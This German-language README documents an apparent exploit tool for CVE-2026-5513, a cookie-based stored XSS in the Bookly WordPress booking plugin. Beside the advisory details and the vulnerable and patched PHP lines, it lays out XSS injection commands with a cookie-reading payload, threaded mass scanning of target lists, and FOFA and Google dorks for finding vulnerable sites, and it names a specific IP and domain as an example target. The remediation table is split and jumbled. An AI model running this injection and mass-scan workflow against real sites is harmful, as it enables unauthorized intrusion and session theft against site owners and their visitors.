
CVE-2026-5513: Bookly <= 27.2 Stored XSS via Cookie (Unauthenticated)
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-5513 |
| Schwachstelle | Gespeichertes Cross-Site Scripting (XSS) |
| Plugin | Bookly — Online-Terminplanungs- und Buchungssystem |
| Betroffen | ≤ 27.2 |
| Gepatcht | 27.3+ |
| CVSS 3.1 | 7.2 (Hoch) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Authentifizierung erforderlich | Keine |
| Voraussetzung | „Persönliche Informationen in Cookies speichern“ muss aktiviert sein (standardmäßig deaktiviert) |
Das Bookly-Plugin für WordPress ist anfällig für Gespeichertes Cross-Site Scripting über den Cookie bookly-customer-full-name in Versionen bis einschließlich 27.2 aufgrund unzureichender Eingabebereinigung und Ausgabe-Escaping.
Wenn die Einstellung „Persönliche Informationen in Cookies speichern“ aktiviert ist, liest das Plugin den Wert des Cookies bookly-customer-full-name und gibt ihn direkt in das HTML des Buchungsformulars aus, ohne ordnungsgemäßes Escaping. Ein nicht authentifizierter Angreifer kann über diesen Cookie beliebige JavaScript-Nutzlasten injizieren, die ausgeführt werden, sobald ein Benutzer (einschließlich Administratoren) eine Seite mit dem Bookly-Buchungsformular besucht.
Angreifer → Bösartigen Cookie setzen (bookly-customer-full-name=<script>...</script>)
→ Seite mit Bookly-Buchungsformular besuchen
→ Plugin liest Cookie, gibt Wert ohne Escaping aus
→ XSS-Nutzlast wird im Browserkontext des Opfers ausgeführt
// GEFÄHRDET — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // Keine Bereinigung
echo '<input type="text" value="' . $full_name . '" />'; // Kein Escaping
// GEPATCHT — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Automatische IP-/Domain-Überprüfung (HTTP/HTTPS, gängige Ports, Weiterleitungserkennung)
✓ Erkennung des WordPress- und Bookly-Plugins mit Versionsprüfung
✓ Erkennung der Cookie-Einstellung (BooklyL10n JS-Analyse + Canary-Reflexion)
✓ XSS-Tests in mehreren Kontexten (HTML, JavaScript, Attribut-Injektion)
✓ Nutzlast-Injektion mit Reflexionsüberprüfung
✓ Einzelziel oder Massenscan aus Datei
✓ Multithread-Scan (bis zu 20 Threads)
✓ Proxy-Unterstützung (Burp usw.)
✓ Automatisches Speichern verwundbarer Ergebnisse
✓ Interaktives Menü + CLI-Modi
pip install requests colorama
# Einzelziel prüfen
python CVE-2026-5513.py -u https://target.com -v
# Einzel-IP prüfen (automatische Portabfrage + Weiterleitungen)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Prüfen + XSS-Nutzlast injizieren
python CVE-2026-5513.py -u https://target.com --inject -v
# Benutzerdefinierte XSS-Nutzlast
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Massenscan aus Datei
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# Mit Burp-Proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
Das Tool akzeptiert jedes dieser Formate in -u oder in der Ziellistendatei:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Bei IP-Adressen ohne Domain führt das Tool automatisch Folgendes durch:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/ usw.)Schritt 0 → Ziel überprüfen (IP/Domain → Basis-URL auflösen, Weiterleitungen erkennen)
Schritt 1 → Bookly-Plugin erkennen (readme.txt, Plugin-Verzeichnis, Assets, Versionsprüfung)
Schritt 2 → Cookie-Einstellung prüfen (BooklyL10n JS-Analyse + Canary-Reflexionstest)
Schritt 3 → XSS-Reflexion testen (HTML-Kontext, JS-Kontext, Attribut-Kontext)
Schritt 4 → Nutzlast injizieren (falls --inject-Modus, Reflexion überprüfen)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| Priorität | Aktion |
|---|---|
| 🔴 | Bookly auf Version 27.3+ aktualisieren |
| 🟡 | Deaktivieren Sie „Persönliche Informationen in Cookies speichern“ in Bookly-Einstellungen → Allgemein |
| 🟢 |
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Der unbefugte Zugriff auf Computersysteme ist illegal. Holen Sie vor dem Testen stets die entsprechende Genehmigung ein. Der Autor übernimmt keine Verantwortung für Missbrauch dieses Tools.
MIT
| Flag | Beschreibung |
|---|
-u URL | Einzelziel (URL, Domain oder IP) |
-l FILE | Datei mit Zielliste (eine pro Zeile) |
--inject | XSS-Nutzlast injizieren (Standard: nur prüfen) |
--payload STR | Benutzerdefinierte XSS-Nutzlast |
-t N | Anzahl der Threads (Standard: 10, max: 20) |
--proxy URL | HTTP-Proxy (z.B. http://127.0.0.1:8080) |
-o FILE | Ergebnisse in Datei speichern |
-v | Ausführliche Ausgabe |
| WAF-Regeln bereitstellen, um XSS in Cookie-Werten zu filtern |
| 🟢 | Content-Security-Policy (CSP)-Header implementieren |